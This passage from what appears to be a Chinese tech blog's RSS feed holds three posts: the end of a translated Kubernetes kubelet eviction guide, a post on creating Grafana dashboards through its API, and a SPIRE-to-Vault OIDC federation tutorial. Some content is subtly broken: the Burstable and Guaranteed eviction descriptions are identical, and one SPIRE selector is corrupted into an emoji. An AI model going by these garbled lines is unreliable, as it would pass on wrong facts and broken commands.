&lt;li&gt;&lt;code&gt;Burstable&lt;/code&gt;：相对请求（request）最多紧缺资源的 Pod 最先被驱逐，如果没有 Pod 超出他们的请求，策略会瞄准紧缺资源消耗量最大的 Pod。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Guaranteed&lt;/code&gt;：相对请求（request）最多紧缺资源的 Pod 最先被驱逐，如果没有 Pod 超出他们的请求，策略会瞄准紧缺资源消耗量最大的 Pod。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;Guaranteed Pod&lt;/code&gt; 绝不会因为其他 Pod 的资源消费被驱逐。如果系统进程（例如 kubelet、docker、journald 等）消耗了超出 &lt;code&gt;system-reserved&lt;/code&gt; 或者 &lt;code&gt;kube-reserved&lt;/code&gt; 的资源，而且这一节点上只运行了 Guaranteed Pod，那么为了保证节点的稳定性并降低异常消费对其他 Guaranteed Pod 的影响，必须选择一个 Guaranteed Pod 进行驱逐。&lt;/p&gt;

&lt;p&gt;本地磁盘是一个 &lt;code&gt;BestEffort&lt;/code&gt; 资源。如有必要，kubelet 会在 &lt;code&gt;DiskPressure&lt;/code&gt; 的情况下，kubelet 会按照 QoS 进行评估。如果 Kubelet 判定缺乏 inode 资源，就会通过驱逐最低 QoS 的 Pod 的方式来回收 inodes。如果 kubelet 判定缺乏磁盘空间，就会通过在相同 QoS 的 Pods 中，选择消耗最多磁盘空间的 Pod 进行驱逐。&lt;/p&gt;

&lt;h3 id=&#34;有-imagefs-1&#34;&gt;有 Imagefs&lt;/h3&gt;

&lt;p&gt;如果 nodefs 触发了驱逐，Kubelet 会用 nodefs 的使用对 Pod 进行排序 - Pod 中所有容器的本地卷和日志。&lt;/p&gt;

&lt;p&gt;如果 imagefs 触发了驱逐，Kubelet 会根据 Pod 中所有容器的消耗的可写入层进行排序。&lt;/p&gt;

&lt;h3 id=&#34;没有-imagefs-1&#34;&gt;没有 Imagefs&lt;/h3&gt;

&lt;p&gt;如果 nodefs 触发了驱逐，Kubelet 会对各个 Pod 的所有容器的总体磁盘消耗进行排序 —— 本地卷 + 日志 + 写入层。&lt;/p&gt;

&lt;p&gt;在某些场景下，驱逐 Pod 可能只回收了很少的资源。这就导致了 kubelet 反复触发驱逐阈值。另外回收资源例如磁盘资源，是需要消耗时间的。&lt;/p&gt;

&lt;p&gt;要缓和这种状况，Kubelet 能够对每种资源定义 &lt;code&gt;minimum-reclaim&lt;/code&gt;。kubelet 一旦发现了资源压力，就会试着回收至少 &lt;code&gt;minimum-reclaim&lt;/code&gt; 的资源，使得资源消耗量回到期望范围。&lt;/p&gt;

&lt;p&gt;例如下面的配置：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--eviction-hard=memory.available&amp;lt;500Mi,nodefs.available&amp;lt;1Gi,imagefs.available&amp;lt;100Gi
--eviction-minimum-reclaim=&amp;quot;memory.available=0Mi,nodefs.available=500Mi,imagefs.available=2Gi&amp;quot;`
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;memory.available&lt;/code&gt; 被触发，Kubelet 会启动回收，让 &lt;code&gt;memory.available&lt;/code&gt; 至少有 &lt;strong&gt;500Mi&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;如果是 &lt;code&gt;nodefs.available&lt;/code&gt;，Kubelet 就要想法子让 &lt;code&gt;nodefs.available&lt;/code&gt; 回到至少 &lt;strong&gt;1.5Gi&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;而对于 &lt;code&gt;imagefs.available&lt;/code&gt;， kubelet 就要回收到最少 &lt;strong&gt;102Gi&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;缺省情况下，所有资源的 &lt;code&gt;eviction-minimum-reclaim&lt;/code&gt; 为 &lt;strong&gt;0&lt;/strong&gt;。&lt;/p&gt;

&lt;h2 id=&#34;调度器&#34;&gt;调度器&lt;/h2&gt;

&lt;p&gt;在节点资源紧缺的情况下，节点会报告这一状况。调度器以此为信号，不再继续向此节点部署新的 Pod。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;节点状况&lt;/th&gt;
&lt;th&gt;调度行为&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MemoryPressure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;不再分配新的 &lt;code&gt;BestEffort Pod&lt;/code&gt; 到这个节点&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DiskPressure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;不再向这一节点分配 Pod&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;节点的-oom-行为&#34;&gt;节点的 OOM 行为&lt;/h2&gt;

&lt;p&gt;如果节点在 Kubelet 能够回收内存之前，遭遇到了系统的 OOM (内存不足)，节点就依赖 &lt;a href=&#34;https://lwn.net/Articles/391222/&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;oom_killer&lt;/code&gt;&lt;/a&gt; 进行响应了。&lt;/p&gt;

&lt;p&gt;kubelet 根据 Pod 的 QoS 为每个容器设置了一个 &lt;code&gt;oom_score_adj&lt;/code&gt; 值。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;QoS&lt;/th&gt;
&lt;th&gt;&lt;code&gt;oom_score_adj&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Guaranteed&lt;/td&gt;
&lt;td&gt;-998&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;BestEffort&lt;/td&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Burstable&lt;/td&gt;
&lt;td&gt;&lt;code&gt;min(max(2, 1000 - (1000 * memoryRequestBytes) / machineMemoryCapacityBytes), 999)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;如果 kubelet 无法在系统 OOM 之前回收足够的内存，&lt;code&gt;oom_killer&lt;/code&gt; 就会根据根据内存使用比率来计算 &lt;code&gt;oom_score&lt;/code&gt;，得出结果和 &lt;code&gt;oom_score_adj&lt;/code&gt; 相加，最后得分最高的 Pod 会被首先驱逐。&lt;/p&gt;

&lt;p&gt;这一行为的思路是，QoS 最低，相对于调度的 Reqeust 来说又消耗最多内存的 Pod 会被首先清除，来保障内存的回收。&lt;/p&gt;

&lt;p&gt;跟 Pod 驱逐不同，如果一个 Pod 的容器被 OOM 杀掉，他是可能被 kubelet 根据 &lt;code&gt;RestartPolicy&lt;/code&gt; 重启的。&lt;/p&gt;

&lt;h2 id=&#34;最佳时间&#34;&gt;最佳时间&lt;/h2&gt;

&lt;h3 id=&#34;可调度的资源和驱逐策略&#34;&gt;可调度的资源和驱逐策略&lt;/h3&gt;

&lt;p&gt;我们想象如下的场景：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;节点内存容量：10Gi&lt;/li&gt;
&lt;li&gt;保留 10% 的内存容量给系统服务（内核，kubelet 等）。&lt;/li&gt;
&lt;li&gt;在 95% 内存使用率的时候驱逐 Pod，来降低系统 OOM 的发生率。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以我们用这样的参数启动 Kubelet：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--eviction-hard=memory.available&amp;lt;500Mi
--system-reserved=memory=1.5Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个配置中隐含了一个设定就是，系统保留涵盖了驱逐标准。&lt;/p&gt;

&lt;p&gt;要达到这一容量，可能是有的 Pod 使用了超出其请求的数量，或者系统占用了超过 &lt;strong&gt;500Mi&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;这样的配置保证了调度器不会向即将发生内存压力的节点分配 Pod，避免触发驱逐。&lt;/p&gt;

&lt;h2 id=&#34;daemonset&#34;&gt;DaemonSet&lt;/h2&gt;

&lt;p&gt;因为 DaemonSet 中的 Pod 会立即重建到同一个节点，所以 Kubelet 不应驱逐 DaemonSet 中的 Pod。&lt;/p&gt;

&lt;p&gt;但是目前 Kubelet 无法分辨一个 Pod 是否由 DaemonSet 创建。如果/当 Kubelet 能够识别这一点，那么就可以先从驱逐候选列表中过滤掉 DaemonSet 的 Pod。&lt;/p&gt;

&lt;p&gt;一般来说，强烈建议 DaemonSet 不要创建 BestEffort Pod，而是使用 Guaranteed Pod，来避免进入驱逐候选列表。&lt;/p&gt;

&lt;h2 id=&#34;弃用的现存回收磁盘的选项&#34;&gt;弃用的现存回收磁盘的选项&lt;/h2&gt;

&lt;p&gt;为了保证节点的稳定性，Kubelet 已经尝试来释放磁盘空间了。&lt;/p&gt;

&lt;p&gt;因为基于磁盘的驱逐方式已经成熟，下列的 Kubelet 参数会被标记为弃用。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;现有参数&lt;/th&gt;
&lt;th&gt;新参数&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;ndash;image-gc-high-threshold&lt;/td&gt;
&lt;td&gt;&amp;ndash;eviction-hard or eviction-soft&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&amp;ndash;image-gc-low-threshold&lt;/td&gt;
&lt;td&gt;&amp;ndash;eviction-minimum-reclaim&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&amp;ndash;maximum-dead-containers&lt;/td&gt;
&lt;td&gt;弃用&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&amp;ndash;maximum-dead-containers-per-container&lt;/td&gt;
&lt;td&gt;弃用&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&amp;ndash;minimum-container-ttl-duration&lt;/td&gt;
&lt;td&gt;弃用&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&amp;ndash;low-diskspace-threshold-mb&lt;/td&gt;
&lt;td&gt;&amp;ndash;eviction-hard or eviction-soft&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&amp;ndash;outofdisk-transition-frequency&lt;/td&gt;
&lt;td&gt;&amp;ndash;eviction-pressure-transition-period&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;已知问题&#34;&gt;已知问题&lt;/h2&gt;

&lt;h3 id=&#34;kubelet-无法及时观测到内存压力&#34;&gt;Kubelet 无法及时观测到内存压力&lt;/h3&gt;

&lt;p&gt;Kubelet 目前从 cAdvisor 定时获取内存使用状况统计。如果内存使用在这个时间段内发生了快速增长，Kubelet 就无法观察到 MemoryPressure，可能会触发 OOMKiller。我们正在尝试将这一过程集成到 memcg 通知 API 中，来降低这一延迟，而不是让内核首先发现这一情况。&lt;/p&gt;

&lt;p&gt;如果用户不是希望获得终极使用率，而是作为一个过量使用的衡量方式，对付这一个问题的较为可靠的方式就是设置驱逐阈值为 75% 容量。这样就提高了避开 OOM 的能力，提高了驱逐的标准，有助于集群状态的平衡。&lt;/p&gt;

&lt;h3 id=&#34;kubelet-可能驱逐超出需要的更多-pod&#34;&gt;Kubelet 可能驱逐超出需要的更多 Pod&lt;/h3&gt;

&lt;p&gt;这也是因为状态搜集的时间差导致的。未来会加入功能，让根容器的统计频率和其他容器分别开来（&lt;code&gt;https://github.com/google/cadvisor/issues/1247&lt;/code&gt;）。&lt;/p&gt;

&lt;h3 id=&#34;kubelet-如何在-inode-耗尽的时候评价-pod-的驱逐&#34;&gt;Kubelet 如何在 inode 耗尽的时候评价 Pod 的驱逐&lt;/h3&gt;

&lt;p&gt;目前不可能知道一个容器消耗了多少 inode。如果 Kubelet 觉察到了 inode 耗尽，他会利用 QoS 对 Pod 进行驱逐评估。在 &lt;a href=&#34;https://github.com/google/cadvisor/issues/1422&#34; target=&#34;_blank&#34;&gt;cadvisor 中有一个 issue&lt;/a&gt;，来跟踪容器的 inode 消耗，这样我们就能利用 inode 进行评估了。例如如果我们知道一个容器创建了大量的 0 字节文件，就会优先驱逐这一 Pod&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Monitor as Code 的一点尝试</title>
      <link>/post/monitor-as-code/</link>
      <pubDate>Tue, 23 May 2017 02:53:05 +0800</pubDate>
      <guid>/post/monitor-as-code/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;这篇的真实名字应该是：Grafana 也是有 API 的&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在项目的 CI/CD 实践过程中，XX as code 是一个很重要的方法，利用代码的方式，对软件的构建、发布、测试等环节进行表达，一方面极大的提高了自动化程度；另一方面，将这些代码纳入版本管理范围，使其同软件代码同步更新和迭代，更好的体现了系统的整体性，提高了系统的可维护性。&lt;/p&gt;

&lt;p&gt;前面的文章中我也多次提到了监控的内容，业务和系统的运行状况可视化是系统运行的重要支撑。甚至监控本身就应该是软件的一部分。得益于各种开源软件的支持，我们可以做一番 Monitor as Code 的尝试。&lt;/p&gt;

&lt;p&gt;监控过程本身一般由数据的产生和展示两个部分组成，对于系统数据，例如 Kubernetes 或者主机数据，我们可以使用 Zabbix、Heapster 或者 cAdvisor 以及 Prometheus 进行获取；而业务的数据则需要借助业务应用自身的代码或者数据库来转换为指标数据，注入到 InfluxDB 等时间序列数据库中。本文中暂不介绍数据生成部分的内容。&lt;/p&gt;

&lt;p&gt;最终我们继续选择 Grafana 进行数据的展示。这是这一篇里面唯一有用的内容了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;实际操作中，本文过程都应该在 Jenkins Pipeline 中，从版本库拉取代码完成，为叙述方便，使用 Shell 脚本代替。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;步骤说明&#34;&gt;步骤说明&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;代码准备&lt;/li&gt;
&lt;li&gt;Grafana 准备&lt;/li&gt;
&lt;li&gt;创建、更新 Grafana Dashboard&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;代码准备&#34;&gt;代码准备&lt;/h2&gt;

&lt;p&gt;代码目录结构大致如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;codebase&lt;/li&gt;
&lt;li&gt;build

&lt;ul&gt;
&lt;li&gt;docker&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;ops

&lt;ul&gt;
&lt;li&gt;monitor&lt;/li&gt;
&lt;li&gt;view&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;code-base&#34;&gt;code base&lt;/h3&gt;

&lt;p&gt;一般用于存放业务代码。&lt;/p&gt;

&lt;h3 id=&#34;build&#34;&gt;build&lt;/h3&gt;

&lt;p&gt;该目录用于存放构建代码，例如&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Jenkins Pipeline code&lt;/li&gt;
&lt;li&gt;构建过程中的支持脚本&lt;/li&gt;
&lt;li&gt;Dockerfile&lt;/li&gt;
&lt;li&gt;Kubernetes yaml&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;ops&#34;&gt;ops&lt;/h3&gt;

&lt;p&gt;这里用于放置运维相关的一些内容，本文将要使用的代码也在此存放。&lt;/p&gt;

&lt;p&gt;实际上，这里除了 Grafana 的内容之外，还可以包含一些其他代码例如&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Prometheus Exporter&lt;/li&gt;
&lt;li&gt;Zabbix User Script&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;grafana-准备&#34;&gt;Grafana 准备&lt;/h2&gt;

&lt;p&gt;首先在 Grafana 的管理菜单中创建一个权限为 Editor 的 API Token：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/api-keys.png&#34; alt=&#34;API Keys&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意这里生成的 Key 只显示一次&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;创建或者更新-grafana-dashboard&#34;&gt;创建或者更新 Grafana Dashboard&lt;/h2&gt;

&lt;p&gt;生成了 API Token 之后的事情就很简单了，准备一个 Grafana 的 JSON 文件，用 CURL 进行 POST 即可&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;POST /api/dashboards/db HTTP/1.1
Accept: application/json
Content-Type: application/json
Authorization: Bearer eyJrIjoiT0tTcG1pUlY2RnVKZTFVaDFsNFZXdE9ZWmNrMkZYbk
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;dashboard&amp;quot;: {
    &amp;quot;id&amp;quot;: null,
    &amp;quot;title&amp;quot;: &amp;quot;Production Overview&amp;quot;,
    &amp;quot;tags&amp;quot;: [ &amp;quot;templated&amp;quot; ],
    &amp;quot;timezone&amp;quot;: &amp;quot;browser&amp;quot;,
    &amp;quot;rows&amp;quot;: [
      {
      }
    ],
    &amp;quot;schemaVersion&amp;quot;: 6,
    &amp;quot;version&amp;quot;: 0
  },
  &amp;quot;overwrite&amp;quot;: false
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&amp;ldquo;id&amp;rdquo; 部分为 NULL 代表新建 Dahsboard。如果是从 Grafana 导出的内容，则沿用旧有取值进行更新即可。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;可以利用模板+变量的方式来使用 Dashboard 导出文件，用于适应不同环境的部署下，不同的数据源名称，不同的细节调整。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>使用 JWT-SVID 做为访问 Valut 的凭据</title>
      <link>/post/spire-and-vault/</link>
      <pubDate>Thu, 11 May 2017 23:27:37 +0800</pubDate>
      <guid>/post/spire-and-vault/</guid>
      <description>

&lt;p&gt;这次介绍的是在 SPIRE Server 和 Vault Server 之间建立 OIDC 联邦的方法。设置联邦之后，SPIRE 认证的工作负载就能使用 JWT-SVID 来通过 Vault Server 的认证。这样依赖，工作负载就无需使用 &lt;code&gt;AppRole&lt;/code&gt; 或者用户名密码的方式来进行认证了。&lt;/p&gt;

&lt;p&gt;这里解决的就是 0 号海龟问题：如何使用 SPIRE 作为 idP，让应用通过免认证 API 获取自己的身份，以此作为凭据来访问联邦中的 SP 服务&lt;/p&gt;

&lt;p&gt;本文的操作将会涉及以下内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;部署 OIDC Discovery Provider Service&lt;/li&gt;
&lt;li&gt;创建一个 DNS A 记录，指向 OIDC Discovery document&lt;/li&gt;
&lt;li&gt;设置一个本地的 Vault Server，用于存储机密&lt;/li&gt;
&lt;li&gt;为 Vault 服务器设置一个 SPIRE Server OIDC Provider 作为认证方法&lt;/li&gt;
&lt;li&gt;使用 SPIRE 身份来访问机密数据&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;本文内容需要一个公网可以访问的 Kubernetes 以及，并且要开放一个 Ingress 到公网。并且具有一个能够设置 A 记录的域名。另外因为需要暴露 &lt;code&gt;Loadbalancer&lt;/code&gt; 类型的服务，因此最好使用公有云的托管 K8s 进行尝试；并且这里需要使用 Ingress，所以集群里如果没有 Ingress 控制器，还需要部署一个。&lt;/p&gt;

&lt;p&gt;另外需要从 &lt;code&gt;https://github.com/spiffe/spire-tutorials.git&lt;/code&gt; 克隆代码。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：目前（2023-01-16）代码中涉及的部分配置已经过期，请参考 &lt;code&gt;https://github.com/spiffe/spire-tutorials/pull/107&lt;/code&gt; 的内容进行修复。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;根据快速开始章节的指导，准备环境，大致过程如下：&lt;/p&gt;

&lt;p&gt;进入代码的 &lt;code&gt;spire-tutorials/k8s/quickstart&lt;/code&gt; 目录，执行操作。&lt;/p&gt;

&lt;p&gt;首先是启动 SPIRE Server：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# 创建命名空间
$ kubectl apply -f spire-namespace.yaml
# 创建 SPIRE Server 所需的 ServiceAccount 及其授权
# 创建 Configmap 用于存储 Trust Bundle
$ kubectl apply \
    -f server-account.yaml \
    -f spire-bundle-configmap.yaml \
    -f server-cluster-role.yaml
# 创建 SPIRE Server Configmap
# 创建 SPIRE Server 的 StatefulSet 以及 Service 对象
$ kubectl apply \
    -f server-configmap.yaml \
    -f server-statefulset.yaml \
    -f server-service.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来启动 SPIRE Agent：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# 给 Agent 创建 Service Account 并进行授权
$ kubectl apply \
    -f agent-account.yaml \
    -f agent-cluster-role.yaml
# 创建 Agent Configmap，并用 Daemonset 的形式启动 Agent
$ kubectl apply \
    -f agent-configmap.yaml \
    -f agent-daemonset.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后是注册工作负载：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# 创建 Node 注册项，使用 k8s_sat 作为 Selector
$ kubectl exec -n spire spire-server-0 -- \
    /opt/spire/bin/spire-server entry create \
    -spiffeID spiffe://example.org/ns/spire/sa/spire-agent \
    -selector k8s_sat:cluster:demo-cluster \
    -selector k8s_sat:agent_ns:spire \
    -selector k8s_sat:agent_sa:spire-agent \
    -node
# 创建工作负载注册项
$ kubectl exec -n spire spire-server-0 -- \
    /opt/spire/bin/spire-server entry create \
    -spiffeID spiffe://example.org/ns/default/sa/default \
    -parentID spiffe://example.org/ns/spire/sa/spire-agent \
    -selector k8s:ns:default \
    -selector k8s🈂️default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后是启动工作负载容器：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# 启动应用
$ kubectl apply -f client-deployment.yaml
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;配置-spire-组件&#34;&gt;配置 SPIRE 组件&lt;/h2&gt;

&lt;p&gt;这个案例用到的文件保存在 &lt;code&gt;k8s/oidc-vault/8s&lt;/code&gt; 目录之中，搜索其中的 &lt;code&gt;TODO&lt;/code&gt;，根据本地情况进行修改，涉及内容如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;MY_EMAIL_ADDRESS&lt;/code&gt;：涉及文件 &lt;code&gt;oidc-dp-configmap.yaml&lt;/code&gt;。这里需要一个 EMail 地址，这个地址需要满足 Let&amp;rsquo;s Encrypt CA 的要求，用于 OIDC 联邦证书的签署，使用过程中不会向这个邮箱发送邮件。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;MY_DISCOVERY_DOMAIN&lt;/code&gt;：涉及文件包括 &lt;code&gt;ingress.yaml&lt;/code&gt; 、&lt;code&gt;oidc-dp-configmap.yaml&lt;/code&gt; 以及 &lt;code&gt;server-configmap.yaml&lt;/code&gt;。此处需要前面提到的域名，用于定位 OIDC Discovery Document。例如 &lt;code&gt;oidc-discovery.example.org&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;MY_CLUSTER_NAME&lt;/code&gt;：替换为 SPIRE 所在集群的名称，例如 &lt;code&gt;gke_dev-prj_name-central1-c_vault-oidc-tutorial&lt;/code&gt;。涉及文件 &lt;code&gt;server-configmap.yaml&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;上述文件中使用了 &lt;code&gt;example.org&lt;/code&gt; 作为信任域，无需修改。&lt;/p&gt;

&lt;h2 id=&#34;为-oidc-discovery-provider-提供-configmap&#34;&gt;为 OIDC Discovery Provider 提供 Configmap&lt;/h2&gt;

&lt;p&gt;进入目录 &lt;code&gt;k8s/oidc-vault/k8s&lt;/code&gt;，执行下面的命令来更新 SPIRE Server（Quickstart 中已经启动了 Server，这里做一个替换，加入 OIDC Discovery 的服务）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply \
    -f server-configmap.yaml \
    -f oidc-dp-configmap.yaml \
    -f server-statefulset.yaml
# 验证运行结果
$ kubectl get pods -n spire -l app=spire-server -o \
    jsonpath=&#39;{.items[*].spec.containers[*].name}{&amp;quot;\n&amp;quot;}&#39;
spire-server spire-oidc
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意上面提到的 PR，这个 Statefulset 使用的是双容器 Pod，因为启动顺序不可控的问题，需要修改正确的 LivenessProbe 来在合适的时机对 OIDC 相关容器进行重启，才能成功启动 Pod。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;为-oidc-discovery-ip-地址配置-dns&#34;&gt;为 OIDC Discovery IP 地址配置 DNS&lt;/h2&gt;

&lt;p&gt;这里需要使用上文提到的 DNS 记录。下面的步骤会使用这个域名为 Discovery Document 提供端点。Vault Server 会到这里进行查询，完成 Valut Server 和 SPIRE 之间的认证过程。&lt;/p&gt;

&lt;p&gt;实际上还可以使用 &lt;a href=&#34;https://tools.ietf.org/html/rfc7517&#34; target=&#34;_blank&#34;&gt;JWKS&lt;/a&gt; 进行 Vault 的集成认证。这种方式就不需要 DNS 记录了。但是与此相对的，要求 Valut 部署在 Kubernetes 集群之中。相关内容可以参考 &lt;a href=&#34;https://www.vaultproject.io/api-docs/auth/jwt#jwks_url&#34; target=&#34;_blank&#34;&gt;Vault 官方文档&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&#34;获取服务-ip-地址&#34;&gt;获取服务 IP 地址&lt;/h3&gt;

&lt;p&gt;前面创建的 &lt;code&gt;spire-oidc&lt;/code&gt; 服务是 &lt;code&gt;Loadbalancer&lt;/code&gt; 类型的服务，因此这里需要获取它的 IP 地址：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get service -n spire spire-oidc

NAME           TYPE           CLUSTER-IP    EXTERNAL-IP    PORT(S)          AGE
spire-oidc     LoadBalancer   10.12.0.18    34.82.139.13   443:30198/TCP    108s
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;创建-dns-记录&#34;&gt;创建 DNS 记录&lt;/h3&gt;

&lt;p&gt;将域名映射到上述地址。然后用 &lt;code&gt;nslookup&lt;/code&gt; 等工具校验域名的有效性。例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ nslookup oidc-discovery.example.org
Server:        203.0.113.0
Address:	      203.0.113.0#53

Non-authoritative answer:
Name:	oidc-discovery.example.org
Address: 93.184.216.34
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;可以使用在线工具 &lt;a href=&#34;https://www.whatsmydns.net/&#34; target=&#34;_blank&#34;&gt;DNS Propagation Checker&lt;/a&gt; 来观察 DNS 记录的传播过程。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;DNS 生效后，可以在浏览器中访问 &lt;code&gt;https://MY_DISCOVERY_DOMAIN/.well-known/openid-configuration&lt;/code&gt;，顺利的话，会看到如下 JSON 格式的返回内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;issuer&amp;quot;: &amp;quot;https://oidc-discovery.example.org&amp;quot;,
  &amp;quot;jwks_uri&amp;quot;: &amp;quot;https://oidc-discovery.example.org/keys&amp;quot;,
  &amp;quot;authorization_endpoint&amp;quot;: &amp;quot;&amp;quot;,
  &amp;quot;response_types_supported&amp;quot;: [
    &amp;quot;id_token&amp;quot;
  ],
  &amp;quot;subject_types_supported&amp;quot;: [],
  &amp;quot;id_token_signing_alg_values_supported&amp;quot;: [
    &amp;quot;RS256&amp;quot;,
    &amp;quot;ES256&amp;quot;,
    &amp;quot;ES384&amp;quot;
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;安装和配置-vault-server&#34;&gt;安装和配置 Vault Server&lt;/h2&gt;

&lt;p&gt;DNS 设置和验证完成之后，开始配置 Vault 服务器。&lt;/p&gt;

&lt;p&gt;在 MacOS 中可以使用 Homebrew 安装 Vault，其它操作系统可以参考&lt;a href=&#34;https://learn.hashicorp.com/tutorials/vault/getting-started-install&#34; target=&#34;_blank&#34;&gt;官方安装文档&lt;/a&gt;。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;建议全新安装 Vault Server，复用已有服务可能会有配置冲突。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;打开一个新的终端窗口，进入源码路径的 &lt;code&gt;./k8s/oidc-vault&lt;/code&gt; 目录。在 &lt;code&gt;./vault/config.jcl&lt;/code&gt; 中加入配置内容，如下配置表示 Vault 监听 &lt;code&gt;127.0.0.1&lt;/code&gt; 的 8200 端口；使用文件作为存储后端；为了测试方便，我们关闭了 TLS，当然，绝不推荐在生产环境中这样使用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;listener &amp;quot;tcp&amp;quot; {
   address     = &amp;quot;127.0.0.1:8200&amp;quot;,
